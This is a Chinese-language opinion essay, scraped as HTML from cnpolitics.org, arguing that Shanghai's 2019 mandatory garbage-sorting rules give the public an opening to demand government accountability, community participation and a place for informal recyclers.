<!--a href="http://cnpolitics.org/author/contributor/">特约作者</a-->
<a href="http://cnpolitics.org/author/contributor/">
特约作者
</a>
<span style="font-size:14px;color:#b9b9b9;">
｜2019-07-24
</span>
</p>
<!--p class="post-lead">关键不是推断政府能不能办好，而是社会能否抓住机会，迫使政府为了实现治理目标而向基层赋权，将垃圾分类变成一场自下而上的环保社会运动。</p-->
<div class="post-body">
<p>
<a href="http://cnpolitics.org/wp-content/uploads/2019/07/640-4.png">
<img alt="" class="alignnone size-full wp-image-13188" height="384" sizes="(max-width: 566px) 100vw, 566px" src="http://cnpolitics.org/wp-content/uploads/2019/07/640-4.png" srcset="http://cnpolitics.org/wp-content/uploads/2019/07/640-4.png 566w, http://cnpolitics.org/wp-content/uploads/2019/07/640-4-300x204.png 300w" width="566"/>
</a>
</p>
<p>
<em>
蒋亦凡/作者
</em>
</p>
<p>
<em>
本文原载于端传媒（Initium Media），原文链接为
</em>
</p>
<p>
<em>
https://theinitium.com/article/20190712-opinion-shanghai-garbage-sorting/ 转载已获授权。
</em>
</p>
<p>
7月1日，上海开始实施《上海市生活垃圾管理条例》（下称《条例》），在全国率先进入生活垃圾强制分类时代。这意味着中国的垃圾分类在2000年被提出，经历了19年或三心二意、或有心无力的试验之后，终于动了真格。
</p>
<p>
《条例》规范的对象涉及多种公私主体，但对社会影响最大的无疑是规定居民将生活垃圾分为四类（可回收物、有害垃圾、湿垃圾、干垃圾）投放，违者将被处以50～200元罚款。在很多地方，基层政府撤除了居民门前和楼道的垃圾筒，在小区内设置集中投放点，早晚定时开放，将《条例》表述为“逐步推行”的“定时定点”投放，直接一步到位。
</p>
<p>
直到《条例》实施前两周，舆论才爆发。其中并不缺少支持的声音，但也有大量报道和评论聚焦于被认为繁琐、混乱的分类方式和“定时定点投放”给市民造成的不便甚至是羞辱，于是“被垃圾分类逼疯的上海人”成为一个流行语。人们或隐晦或直接地批评这项政策的强硬、草率、不计成本和早产。
</p>
<p>
比如，FT中文网在7月1日当天发表了署名李牧之的文章《垃圾分类的社会成本》，认为这项政策是让垃圾回收这件事情“去专业化”——原本就有的“拾荒者”（非正规回收业者）体系能够专业而高效地回收垃圾，作者通过计算发现，全市居民从事垃圾分类每年将耗费相当于36万个全职工作量，认为把这项工作强加给居民是对人力资源的巨大浪费。作者认为，“对大多数人来说，垃圾分类是没有收益”的，主要的动力来自“对惩罚的恐惧”，上海的政策造成了政府和民众之间“你监督，我执行”的关系，而不是“基于居民一致同意的产物”。由于存在钻空子的可能——比如小区外的垃圾桶就是常设的——会不断有人设法钻空子，最终没人愿意遵守规则，政府的强硬手段也将不断加码，社会成本不断上升。
</p>
<p>
作者在后文也承认，垃圾分类“当然是好的”，但坚持“需要基于居民同意的原则去设计实施公共政策”。
</p>
<p>
7月2日，FT中文网发表了另一篇关于上海垃圾分类的文章，寇步云的《十年惊变：垃圾处理的广州模式和上海模式》。文章回顾了2009年广州市政府积极回应市民反对在番禺建设垃圾焚烧厂的往事，将之与如今上海强硬推行垃圾分类进行对比，感叹这十年间施政文化“换了人间”。
</p>
<p>
2009年初，广州市政府公布将在番禺区建设一座（寇文误作五座）垃圾焚烧厂，选址周边人口密集，特别是有几个居住着大量媒体人、律师等“新兴中产”的大型楼盘。此议迅速引发当地抗议行动，居民上街集会或与政府开展对话，媒体持续高压问责，而市政府亦采取了信息透明与积极磋商的态度，最终市政府宣布搁置项目选址，将议题“转向低调”。作者认为，十年前广州市政府所采取的是“接触-说服”模式，而如今在上海却变成“隔离-推行”——在宣传垃圾分类的好处的同时，故意将垃圾处理终端的能见度降低，以避免民众反弹。
</p>
<p>
两篇文章都说出了在垃圾分类议题上被排除于决策过程的不满，代表了不少受过良好教育的城市中产的心声。但他们眼中正确的做法——先凝聚社会共识，再开展垃圾分类——恐怕只是一种凌空高蹈的奢谈。
</p>
<p>
《十年惊变》表面上创造了一个完美的反差，但掩盖了两地两事的根本差异。2009年的广州发生的是一场经典的邻避运动，番禺原本在会江村的选址在“转入低调”后，在三年后改到了番禺南部的大岗镇，在2018年建成投产，成为“广州市第四资源热力电厂”。同一年，大岗镇被从番禺划入南沙，这被认为是抹除“垃圾焚烧厂仍然落户番禺”印象之举。故事不止于此。在2009年番禺的运动胜利后，6座垃圾焚烧厂在白云、花都、从化、南沙、增城和黄埔建成投产，合计处理能力1.3万吨/日。邻避运动没有阻止这些厂的建设，因为这些位于远郊的选址附近没有番禺北部那么多的新兴中产阶级。
</p>
<p>
“公民社会”也没有拥抱广州的垃圾分类。《十年惊变》文中提到广州市在番禺焚烧厂遇阻后开始推行垃圾分类，以“挽回颜面”。但事实是，以垃圾分类“为城市垃圾寻找真正的绿色出口”，是番禺反焚运动期间就被媒体提出的论述，以回应政府不断的“垃圾围城，那怎么办？”的反诘。在搁置番禺选址之前，政府就提出了“力争在3~5年内使广州市的垃圾分类覆盖面达到80%”的目标，更像是响应民意，着手治本。2012年新市长陈建华上任后，力推垃圾分类，还邀请了反焚人士加入“城市废弃物处理公共咨询委员会”。但纵是如此，十年来广州的垃圾分类却停滞不前。上个月，广州市生态环境局公布计划再新建5座焚烧厂和5个填埋项目。
</p>
<p>
为什么广州当年如此活跃的“公民社会”和如此开明的政府都没能把垃圾分类搞起来？因为处在《十年惊变》作者眼中“公民社会”黄金时代的这场运动只是一场邻避运动，不是环保运动。那么，在今天这个媒体、网络、NGO等诸多环境都已经“换了人间”的时代，我们是否可以指望一场建立在民间共识基础上的环保运动？恐怕只会更难。
</p>
<p>
但是，那场邻避运动也留下了环保运动的弱小种子。其中一些积极分子意识到如果没有垃圾源头治理，那么反焚就只是“击鼓传花”，最终会在别人家门口建成。出于良心不安，他们成立NGO推动垃圾分类，并在一定程度上影响了如今垃圾分类政策的制定。只不过，他们的工作也没有得到大众响应。
</p>
<p>
当然，这些重要背景不妨碍一些人仍然坚持认为“垃圾分类当然是好的，但是程序正义更加重要，没有程序正义，毋宁不搞垃圾分类”。只不过，这种大义凛然只属于远离污染的人，而靠近垃圾填埋场、焚烧厂和一望无际的露天垃圾堆的“前线社区”的人们没有这种奢侈。
</p>
<p>
邻避运动尽管愿景有限，它的担忧却是正确的。垃圾焚烧厂排放的二噁英、细颗粒物和有毒金属等污染物会造成癌症、出生缺陷等健康后果。在中国，焚烧厂的信息公开和排放监管又一直做得相当不好。而填埋则产生有毒渗滤液，污染水源，产生大量甲烷（一种强温室气体），加剧气候变化。垃圾分类不仅大幅减少焚烧和填埋及其环境影响 ，而且它所回收的资源可以用来修复土壤、重新用于工业生产从而减少资源采掘。这是从根源上处理垃圾问题，是消费社会的自我救赎。
</p>
<p>
台湾的垃圾分类就源自政府当年在社会压力下试图减少填埋和焚烧。政府在2003年提出建设“零废弃社会”的愿景，追求将不可回收的垃圾量降到尽可能趋近于零。在推行垃圾分类的同时，政府还根据“延伸生产者责任制”原则，通过向制造商和和进口商收取“回收清除处理费”补贴回收企业，促进了资源在本土循环利用。垃圾强制分类政策在2005年推行前，政府开展的民调显示有九成的支持率。目前台湾废弃物回收率超过50%，处于世界最高之列，很多垃圾焚烧厂处于低运行状态。
</p>
<p>
焚烧只是问题的一小块，失控的垃圾污染空气、水源、土壤和食物，破坏生态系统，拖累经济，其代价最终是由全社会承担。垃圾分类显著增进公共利益。这就是为什么《垃圾分类的社会成本》一文说“对大多数人来说，垃圾分类是没有收益的”是如此荒谬。而恰恰是作者批评的权力运作，让公众难以看到真实的环境污染和社会代价，因而缺乏对环境治理的收益的理解。难于参与公共生活，让人们退守私生活，重视对个人权利的伸张，轻视对公共利益的追求。这些都让作者呼唤的“共识”成为空中楼阁。
</p>
<p>
权力似乎还造成了创伤后应激障碍（PTSD）。《垃圾分类的社会成本》中大力批评上海的“监督-执行”模式，殊不知监督和惩罚是立法的题中之意。台湾的垃圾强制分类不仅要求定时定点投放，而且分类不合格且不听劝告者会被处以1200～6000元新台币（266～1330元人民币）的罚款，监督手段也包括交运时当面破袋检查。在形成良好的文化氛围前，没有监督和惩罚，就不可能有正常运作的垃圾分类体系，反倒真正是大型“劣币驱逐良币”之始。
</p>
<p>
在质疑立法中竟包含监督和处罚手段后，作者又质疑了立法本身的程序正义，认为“只有多数同意，才能大幅降低政策执行的成本”。但是，我们身边有大量公共决策缺乏程序正义，其中一些决策由于没有伤害到主流人群的利益，甚至是符合了他们的利益而得到了默许——那些被无声地建在远郊的垃圾焚烧厂和填埋场就属此类，武汉郊区阳逻一场反对在当地建设焚烧厂的运动正在公众关注之外进行。假使我们能够开放地讨论环境问题，对它的后果有足够的社会想象力，能够感受到他人的切肤之痛，那么，尽快实现垃圾分类就是一个必然的逻辑结论。面对这多重现实，突然要求能显著增进公共利益的垃圾分类要比日常发生的林林总总具有更高的程序正义，不顾现实条件，要求它是“基层居民一致同意的产物”，让人感到这本质上是与十年前那场反焚运动同构异形的“精神邻避”。
</p>
<p>
十年前的广州没有发生环保运动，而上海正在发生。只不过，这是一场体现着强烈长官意志的环保政治运动。但是也应该看到，这场运动和之前一轮又一轮常常损害民生的“环保风暴”有一个重要区别，那就是：政府在限制居民丢垃圾自由的同时，也通过立法向公众许诺了自己环境治理责任，而且这些责任指向问题根源，显示出抱负。
</p>
<p>
《条例》开篇申明：立法目的是实现生活垃圾的“减量化、资源化、无害化”。为此，它不仅要求居民和单位开展垃圾分类，也要求包装和一次性用品的源头减量，并推行“区域生活垃圾处置总量控制制度”，要求各区制定措施实现垃圾减量。
</p>
<p>
《条例》的一份《实施意见》还提出了“全生命周期管理、全过程综合治理、全社会普遍参与”的理念。至少从字面上看，这意味着巨大的监管责任，大量的公共投入，政府内部的学习、成长与磨合，和社会的参与机会。这些都让新政不太像是又一次对社会的单向的规训。
</p>
<p>
是的，喊口号是简单的，它们未必会实现。但是，这次与过往运动的另一个区别是：它卷入了全市每一个家庭。每个家庭每天的垃圾分类劳动付出，让他们对政策的实施产生监督意识，并获得监督的道德正当性。这让政策被置于全社会的审视之下。
</p>
<p>
换句话说，上海所发生的，是政府为了环境保护，强行与社会签订了一份契约，双方在其中都被赋予了义务。于是，关键的问题不再是去根据以往经验推断政府这回能不能把事情办好，而是社会能否抓住这个机会，凭着这份契约，让新政实现的公共利益值回自己让渡出去的权利，能否被激发出之前被拒绝聆听的社会自主性，能否迫使政府为了实现治理目标而向基层赋权，能否通过有力的监督、大声的要求，去把这场自上而下的环保政治运动，变成一场自下而上的环保社会运动。
</p>
<p>
该怎么做？正式参政渠道、媒体和网络舆论、公益诉讼，以及基层社区的组织和动员。虽然没有哪种手段是决定性的，但凭着这份契约和公众被赋予的这份道德正当性，它们的效能或许不应被低估。
</p>
<p>
社会的着眼点可以至少包括以下三个方面：
</p>
<p>
一、监督政府履行监管责任，以“减量化、资源化、无害化”为原则完善后端体系。
</p>
<p>
《条例》规范对象不仅是居民，还有企业和政府本身。为了确保民众辛苦分类的成果不被枉费，它要求相关企业必须对居民分好的垃圾进行分类收运、分类处置，实行密闭运输，并安装在线监测系统。要求市、区绿化市容部门牵头建立“生活垃圾全过程管理信息系统”。这意味着政府除了负有监管责任，还必须切实提升分类处置的产能。
</p>
<p>
《条例》实施后，湿垃圾（厨余垃圾）分出量急剧上升。《条例》规定，湿垃圾应“采用生化处理、产沼、堆肥等方式进行资源化利用或者无害化处置”，并要求相关部门支持在公共绿地中优先使用湿垃圾堆肥，支持符合标准的堆肥用于农业。据市政府在6月28日的新闻发布会上披露，目前湿垃圾日分出量为6100吨，资源化利用能力为每天5050吨，争取到2020年湿垃圾资源化处理能力达到7000吨，看上去捉襟见肘。
</p>
<p>
公众有权追问：我们如何获得真实而及时的湿垃圾分出量和利用量数据，好对它们进行核对？公众是否可以实地考察这些处理设施？是否能看到传说中的“生活垃圾全过程管理信息系统”？另外，《条例》规定的湿垃圾处理方式中的“等方式进行资源化利用”这种模糊化表达是否给湿垃圾焚烧留下了后门？
</p>
<p>
6月28日的发布会还披露了当前可回收物回收量——3300吨/日，却没有关于可回收物资源化利用能力的数据，对有害垃圾的处置现状更是未置一词。这都是公众需要去追问的。
</p>
<p>
前面提到，《条例》提出实行“区域生活垃圾处置总量控制制度”，各区都要制定自己的总量控制计划。那么，公众就有权去了解全市和各区的计划究竟是什么，是否切合实际，又够不够进取，有没有完成，并据此去反对盲目上马垃圾焚烧和填埋产能，要求焚烧和填埋逐步减少，同时高举“无害化”原则，去推动垃圾焚烧厂和填埋场的信息公开，监督其排放达标。
</p>
<p>
二、推进社区自治，促进公共参与。
</p>
<p>
《条例》规定，在城市小区，物业公司是垃圾分类的管理责任人，而居民委员会则负责“组织、动员、宣传、指导”。而在乡村，村民委员会同时扮演了两种角色。城市中的这两种组织都不能真正代表居民，不是凝聚共识的平台。而在乡村，村民自治有待强化。
</p>
<p>
这需要城市中的业主委员会、NGO、媒体、高校这些公民社会主体扮演更主要的角色，来为垃圾投放方式（比如究竟要不要定点定时？）、监督和惩罚机制、设施投入（比如避免不适宜的高科技设备进入社区，既浪费公帑，又妨碍居民主动性的建立）等议题建立对话机制，让它们变得更符合本地实情、更以人为本，从而更具可操作性和可持续性。这也会有助于在社区中形成一种公德意识，从而超越“监督-执行”。这些活动可以进入全社会，通过开展公众教育、讨论、考察，让大众知道垃圾分类背后的原理是什么，分出来的垃圾都去了哪儿，该如何去监督政府兑现承诺，让垃圾分类本身不是目的，而是一系列公民参与的开端。
</p>
<p>
三、关心回收业的发展。
</p>
<p>
30年来，中国的废品回收主要依靠一个由来自农村的拾荒者、收购者、中间商和再利用加工者构成的庞大非正式部门（据维也纳大学潘介明统计，光2011年在北京的前三类从业者就达到30万人），依靠他们在恶劣环境中的廉价劳动实现了废品（可回收物）的有效收运和一定程度的资源化利用。这个部门的兴衰枯荣极大地受到城市更新、环境治理、“人口调控”、 再生材料市场波动和作为原料的“洋垃圾”进口政策的影响，近两年受到了严重的冲击。
</p>
<p>
而此番《 条例》有一条规定：只有取得“生活垃圾经营服务许可证”的单位才可从事垃圾收运，无证收运者会被处以3至10万元罚款。这恐怕将彻底排除非正规回收业者的参与，而将市场拱手让给“两网融合”（指生活垃圾分类收运体系和废品回收体系两者的融合，通常表现为政府指定企业进驻小区设置回收点）指定企业。但是，固有回收体系的瓦解和企业对废品资源的垄断，无助于回收效率和精细程度的提高，还势必造成大量非正规从业者的失业。对此，公众可以探讨该如何将非正规回收业者纳入“两网融合”，让他们与企业开展竞争，并与居民配合，进一步提高可回收物分类水平（而不是像《垃圾回收的社会成本》一文说的那样——交给非正规部门就好了）？
</p>
<p>
在再利用加工端，小作坊、小企业可能因为加工过程中的污染而难免被关停，那么政府又该如何扶持新的加工产能，避免可回收物因为没有市场而最终走向填埋场和焚烧炉？当产能就绪，我们该如何推动生产端使用可回收材料，并对材料属性进行标注从而提高回收率？
</p>
<p>
需要过问的事项还有很多很多。垃圾分类突如其来，被强加给每个人，于是每个人都从“眼不见为净”的沉默大多数，变成每天都会感受一遍的利益相关方。环境问题、公共利益终于穿透权力自己设置的屏障而变得可被想象。上海之后，更多城市即将进入强制垃圾分类时代。一个社会真正的自主性或许将以这种曲折的方式出现——起初它没有被肯定，然后它自我肯定。新的环境运动，新的公民意识，或许将因此出现。
</p>
</div>
<!-- icon list -->
<!--/div-->
<!-- social box -->
<div class="post-end-button back-to-top">
<p style="padding-top:20px;">
回到开头
</p>
</div>
<div id="display_bar">
<img src="http://cnpolitics.org/wp-content/themes/CNPolitics/images/shadow-post-end.png"/>
</div>
</div> | 8,464 | MIT |